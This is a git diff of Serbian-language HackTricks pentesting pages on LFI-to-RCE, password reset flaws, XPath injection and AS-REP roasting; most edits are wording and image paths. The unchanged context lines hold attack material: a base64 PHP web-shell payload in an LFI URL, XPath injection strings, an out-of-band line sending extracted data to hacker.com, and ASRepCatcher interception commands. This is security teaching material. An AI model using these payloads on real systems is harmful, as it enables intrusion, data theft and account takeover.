@ -565,7 +565,7 @@ Logovi za FTP server vsftpd se nalaze na _**/var/log/vsftpd.log**_. U scenariju
|
|||
|
||||
### Via php base64 filter (using base64)
|
||||
|
||||
Kao što je prikazano u [ovom](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", on će jednostavno ignorisati "." i dodati "php" na base64. Evo primera payload-a:
|
||||
Kao što je prikazano u [ovom](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) članku, PHP base64 filter jednostavno ignoriše Non-base64. Možete to iskoristiti da zaobiđete proveru ekstenzije fajla: ako dostavite base64 koji se završava sa ".php", jednostavno će ignorisati "." i dodati "php" na base64. Evo primera payload-a:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
|
@ -640,7 +640,7 @@ Ako ste pronašli **Local File Inclusion** i datoteku koja izlaže **phpinfo()**
|
|||
|
||||
### Putem compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Otkrivanje putanje
|
||||
|
||||
Ako ste pronašli **Local File Inclusion** i **možete eksfiltrirati putanju** privremene datoteke, ALI **server** **proverava** da li **datoteka koja se uključuje ima PHP oznake**, možete pokušati da **zaobiđete tu proveru** sa ovom **Race Condition**:
|
||||
Ako ste pronašli **Local File Inclusion** i možete **izvući putanju** privremene datoteke, ALI **server** **proverava** da li **datoteka koja se uključuje ima PHP oznake**, možete pokušati da **obiđete tu proveru** sa ovom **Race Condition**:
|
||||
|
||||
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
||||
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
||||
|
@ -648,7 +648,7 @@ Ako ste pronašli **Local File Inclusion** i **možete eksfiltrirati putanju** p
|
|||
|
||||
### Putem večnog čekanja + bruteforce
|
||||
|
||||
Ako možete zloupotrebiti LFI da **otpremite privremene datoteke** i naterate server da **zakaže** PHP izvršenje, mogli biste tada **bruteforce-ovati imena datoteka tokom sati** da pronađete privremenu datoteku:
|
||||
Ako možete da zloupotrebite LFI da **otpremite privremene datoteke** i naterate server da **zakaže** PHP izvršenje, mogli biste zatim **bruteforce-ovati imena datoteka tokom sati** da pronađete privremenu datoteku:
|
||||
|
||||
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
||||
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
||||
|
@ -658,7 +658,7 @@ Ako možete zloupotrebiti LFI da **otpremite privremene datoteke** i naterate se
|
|||
|
||||
Ako uključite bilo koju od datoteka `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Morate uključiti istu dva puta da izazovete tu grešku).
|
||||
|
||||
**Ne znam koliko je ovo korisno, ali možda jeste.**\
|
||||
**Ne znam kako je ovo korisno, ali možda jeste.**\
|
||||
_Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremljene se brišu._
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
@ -670,12 +670,12 @@ _Čak i ako izazovete PHP Fatal Error, PHP privremene datoteke koje su otpremlje
|
|||
|
||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
**Hacking Insights**\
|
||||
Uključite se u sadržaj koji se bavi uzbuđenjem i izazovima hakovanja
|
||||
Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja
|
||||
|
||||
**Real-Time Hack News**\
|
||||
Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -34,7 +34,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
* HTTP referer header može otkriti token za resetovanje lozinke ako je uključen u URL. Ovo se može desiti kada korisnik klikne na link treće strane nakon što zatraži resetovanje lozinke.
|
||||
* **Impact**: Potencijalno preuzimanje naloga putem Cross-Site Request Forgery (CSRF) napada.
|
||||
* **Exploitation**: Da biste proverili da li se token za resetovanje lozinke otkriva u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte lozinku** odmah. Umesto toga, **navigirajte do veb stranice treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer to može izložiti osetljive informacije trećim stranama.
|
||||
* **Exploitation**: Da biste proverili da li se token za resetovanje lozinke otkriva u referer header-u, **zatražite resetovanje lozinke** na vašu email adresu i **kliknite na link za resetovanje** koji je dostavljen. **Ne menjajte svoju lozinku** odmah. Umesto toga, **navigirajte na sajt treće strane** (kao što su Facebook ili Twitter) dok **presrećete zahteve koristeći Burp Suite**. Istražite zahteve da vidite da li **referer header sadrži token za resetovanje lozinke**, jer ovo može izložiti osetljive informacije trećim stranama.
|
||||
* **References**:
|
||||
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
|
@ -42,10 +42,10 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## **Password Reset Poisoning**
|
||||
|
||||
* Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zloćudnu stranicu.
|
||||
* Napadači mogu manipulisati Host header-om tokom zahteva za resetovanje lozinke kako bi usmerili link za resetovanje na zlonamerni sajt.
|
||||
* **Impact**: Dovodi do potencijalnog preuzimanja naloga otkrivanjem reset tokena napadačima.
|
||||
* **Mitigation Steps**:
|
||||
* Validirajte Host header u odnosu na belu listu dozvoljenih domena.
|
||||
* Validirajte Host header protiv bele liste dozvoljenih domena.
|
||||
* Koristite sigurne, server-side metode za generisanje apsolutnih URL-ova.
|
||||
* **Patch**: Koristite `$_SERVER['SERVER_NAME']` za konstrukciju URL-ova za resetovanje lozinke umesto `$_SERVER['HTTP_HOST']`.
|
||||
* **References**:
|
||||
|
@ -105,9 +105,9 @@ POST /resetPassword
|
|||
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||
|
||||
## **Menjanje email-a i lozinke bilo kog korisnika putem API parametara**
|
||||
## **Promena email-a i lozinke bilo kog korisnika putem API parametara**
|
||||
|
||||
* Napadači mogu modifikovati email i lozinku parametre u API zahtevima kako bi promenili akreditive naloga.
|
||||
* Napadači mogu modifikovati email i lozinku u API zahtevima kako bi promenili akreditive naloga.
|
||||
```php
|
||||
POST /api/changepass
|
||||
[...]
|
||||
|
@ -121,7 +121,7 @@ POST /api/changepass
|
|||
|
||||
## **Nema ograničenja brzine: Email bombardovanje**
|
||||
|
||||
* Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika sa email-ovima za resetovanje.
|
||||
* Nedostatak ograničenja brzine na zahtevima za resetovanje lozinke može dovesti do bombardovanja email-ova, preplavljujući korisnika reset email-ovima.
|
||||
* **Koraci za ublažavanje**:
|
||||
* Implementirati ograničenje brzine na osnovu IP adrese ili korisničkog naloga.
|
||||
* Koristiti CAPTCHA izazove kako bi se sprečila automatska zloupotreba.
|
||||
|
@ -144,7 +144,7 @@ POST /api/changepass
|
|||
|
||||
## **Pogodna UUID**
|
||||
|
||||
* Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali važeće tokene za resetovanje. Proverite:
|
||||
* Ako su UUID-ovi (verzija 1) pogodivi ili predvidivi, napadači mogu da ih brute-force-uju kako bi generisali važeće reset tokene. Proverite:
|
||||
|
||||
{% content-ref url="uuid-insecurities.md" %}
|
||||
[uuid-insecurities.md](uuid-insecurities.md)
|
||||
|
@ -180,7 +180,7 @@ POST /api/changepass
|
|||
|
||||
* Testiranje da li se napadačev reset token može koristiti u kombinaciji sa email-om žrtve.
|
||||
* **Koraci za ublažavanje**:
|
||||
* Osigurati da su tokeni vezani za korisničku sesiju ili druge korisnički specifične atribute.
|
||||
* Osigurati da su tokeni vezani za korisničku sesiju ili druge korisničke atribute.
|
||||
|
||||
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
|
||||
|
||||
|
@ -190,15 +190,15 @@ POST /api/changepass
|
|||
|
||||
## **Nevaženje sesije prilikom odjave/resetovanja lozinke**
|
||||
|
||||
* Tokeni za resetovanje bi trebali imati vreme isteka nakon kojeg postaju nevažeći.
|
||||
* Reset tokeni bi trebali imati vreme isteka nakon kojeg postaju nevažeći.
|
||||
* **Koraci za ublažavanje**:
|
||||
* Postaviti razumno vreme isteka za tokene za resetovanje i strogo ga sprovoditi na serverskoj strani.
|
||||
* Postaviti razumno vreme isteka za reset tokene i strogo ga sprovoditi na serverskoj strani.
|
||||
|
||||
## Reference
|
||||
|
||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru kako biste komunicirali sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -223,7 +223,7 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -38,36 +38,36 @@ Tehnika napada poznata kao XPath Injection se koristi za iskorišćavanje aplika
|
|||
|
||||
Izrazi se koriste za selektovanje različitih čvorova u XML dokumentu. Ovi izrazi i njihovi opisi su sažeti u nastavku:
|
||||
|
||||
* **nodename**: Svi čvorovi sa imenom "nodename" su selektovani.
|
||||
* **nodename**: Svi čvorovi sa imenom "nodename" se selektuju.
|
||||
* **/**: Selekcija se vrši iz korenskog čvora.
|
||||
* **//**: Čvorovi koji odgovaraju selekciji iz trenutnog čvora su selektovani, bez obzira na njihovu lokaciju u dokumentu.
|
||||
* **.**: Trenutni čvor je selektovan.
|
||||
* **..**: Roditelj trenutnog čvora je selektovan.
|
||||
* **@**: Atributi su selektovani.
|
||||
* **//**: Čvorovi koji odgovaraju selekciji iz trenutnog čvora se selektuju, bez obzira na njihovu lokaciju u dokumentu.
|
||||
* **.**: Trenutni čvor se selektuje.
|
||||
* **..**: Roditeljski čvor trenutnog čvora se selektuje.
|
||||
* **@**: Atributi se selektuju.
|
||||
|
||||
### XPath Examples
|
||||
|
||||
Primeri putanjskih izraza i njihovih rezultata uključuju:
|
||||
|
||||
* **bookstore**: Svi čvorovi nazvani "bookstore" su selektovani.
|
||||
* **/bookstore**: Korenski element bookstore je selektovan. Napominje se da apsolutna putanja do elementa počinje sa kosom crtom (/).
|
||||
* **bookstore/book**: Svi elementi knjiga koji su deca bookstore su selektovani.
|
||||
* **//book**: Svi elementi knjiga u dokumentu su selektovani, bez obzira na njihovu lokaciju.
|
||||
* **bookstore//book**: Svi elementi knjiga koji su potomci elementa bookstore su selektovani, bez obzira na njihovu poziciju pod elementom bookstore.
|
||||
* **//@lang**: Svi atributi nazvani lang su selektovani.
|
||||
* **bookstore**: Svi čvorovi nazvani "bookstore" se selektuju.
|
||||
* **/bookstore**: Korenski element bookstore se selektuje. Napominje se da apsolutna putanja do elementa počinje sa kosom crtom (/).
|
||||
* **bookstore/book**: Svi book elementi koji su deca bookstore se selektuju.
|
||||
* **//book**: Svi book elementi u dokumentu se selektuju, bez obzira na njihovu lokaciju.
|
||||
* **bookstore//book**: Svi book elementi koji su potomci elementa bookstore se selektuju, bez obzira na njihovu poziciju pod elementom bookstore.
|
||||
* **//@lang**: Svi atributi nazvani lang se selektuju.
|
||||
|
||||
### Utilization of Predicates
|
||||
|
||||
Predikati se koriste za preciziranje selekcija:
|
||||
|
||||
* **/bookstore/book\[1]**: Prvi element knjige kao dete elementa bookstore je selektovan. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
|
||||
* **/bookstore/book\[last()]**: Poslednji element knjige kao dete elementa bookstore je selektovan.
|
||||
* **/bookstore/book\[last()-1]**: Pretposlednji element knjige kao dete elementa bookstore je selektovan.
|
||||
* **/bookstore/book\[position()<3]**: Prva dva elementa knjiga kao deca elementa bookstore su selektovana.
|
||||
* **//title\[@lang]**: Svi elementi naslova sa atributom lang su selektovani.
|
||||
* **//title\[@lang='en']**: Svi elementi naslova sa vrednošću atributa "lang" koja je "en" su selektovani.
|
||||
* **/bookstore/book\[price>35.00]**: Svi elementi knjiga iz bookstore sa cenom većom od 35.00 su selektovani.
|
||||
* **/bookstore/book\[price>35.00]/title**: Svi elementi naslova elemenata knjiga iz bookstore sa cenom većom od 35.00 su selektovani.
|
||||
* **/bookstore/book\[1]**: Prvi book element dete elementa bookstore se selektuje. Rešenje za IE verzije 5 do 9, koje indeksiraju prvi čvor kao \[0], je postavljanje SelectionLanguage na XPath putem JavaScript-a.
|
||||
* **/bookstore/book\[last()]**: Poslednji book element dete elementa bookstore se selektuje.
|
||||
* **/bookstore/book\[last()-1]**: Pretposlednji book element dete elementa bookstore se selektuje.
|
||||
* **/bookstore/book\[position()<3]**: Prva dva book elementa deca elementa bookstore se selektuju.
|
||||
* **//title\[@lang]**: Svi title elementi sa lang atributom se selektuju.
|
||||
* **//title\[@lang='en']**: Svi title elementi sa "lang" atributom čija je vrednost "en" se selektuju.
|
||||
* **/bookstore/book\[price>35.00]**: Svi book elementi bookstore sa cenom većom od 35.00 se selektuju.
|
||||
* **/bookstore/book\[price>35.00]/title**: Svi title elementi book elemenata bookstore sa cenom većom od 35.00 se selektuju.
|
||||
|
||||
### Handling of Unknown Nodes
|
||||
|
||||
|
@ -79,9 +79,9 @@ Džokeri se koriste za usklađivanje nepoznatih čvorova:
|
|||
|
||||
Dalji primeri uključuju:
|
||||
|
||||
* **/bookstore/\***: Selektuje sve čvorove elemenata dece elementa bookstore.
|
||||
* **/bookstore/\***: Selektuje sve čvorove elementa deca elementa bookstore.
|
||||
* **//\***: Selektuje sve elemente u dokumentu.
|
||||
* **//title\[@\*]**: Selektuje sve elemente naslova sa najmanje jednim atributom bilo koje vrste.
|
||||
* **//title\[@\*]**: Selektuje sve title elemente sa najmanje jednim atributom bilo koje vrste.
|
||||
|
||||
## Example
|
||||
```xml
|
||||
|
@ -212,7 +212,7 @@ admin' or '
|
|||
admin' or '1'='2
|
||||
string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
|
||||
```
|
||||
## String extraction
|
||||
## Ekstrakcija stringova
|
||||
|
||||
Izlaz sadrži stringove i korisnik može manipulisati vrednostima za pretragu:
|
||||
```
|
||||
|
@ -294,7 +294,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
|||
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
||||
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -315,11 +315,11 @@ Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
<summary>Podrška HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite trikove hakovanja slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -97,7 +97,7 @@ bloodyAD -u user -p 'totoTOTOtoto1234*' -d crash.lab --host 10.100.10.5 add uac
|
|||
|
||||
## ASREProast bez kredencijala
|
||||
|
||||
Napadač može iskoristiti poziciju man-in-the-middle da uhvati AS-REP pakete dok prolaze kroz mrežu, bez oslanjanja na to da je Kerberos pre-autentifikacija onemogućena. Stoga funkcioniše za sve korisnike na VLAN-u.\
|
||||
Napadač može iskoristiti poziciju man-in-the-middle da uhvati AS-REP pakete dok prolaze kroz mrežu, bez oslanjanja na to da Kerberos pre-autentifikacija bude onemogućena. Stoga funkcioniše za sve korisnike na VLAN-u.\
|
||||
[ASRepCatcher](https://github.com/Yaxxine7/ASRepCatcher) nam to omogućava. Štaviše, alat prisiljava klijentske radne stanice da koriste RC4 menjajući Kerberos pregovaranje.
|
||||
```bash
|
||||
# Actively acting as a proxy between the clients and the DC, forcing RC4 downgrade if supported
|
||||
|
@ -109,13 +109,13 @@ ASRepCatcher relay -dc $DC_IP --disable-spoofing
|
|||
# Passive listening of AS-REP packets, no packet alteration
|
||||
ASRepCatcher listen
|
||||
```
|
||||
## Reference
|
||||
## References
|
||||
|
||||
* [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/as-rep-roasting-using-rubeus-and-hashcat)
|
||||
|
||||
***
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -128,19 +128,19 @@ Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu
|
|||
**Latest Announcements**\
|
||||
Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi
|
||||
|
||||
**Pridružite nam se na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i počnite da sarađujete sa vrhunskim hakerima danas!
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue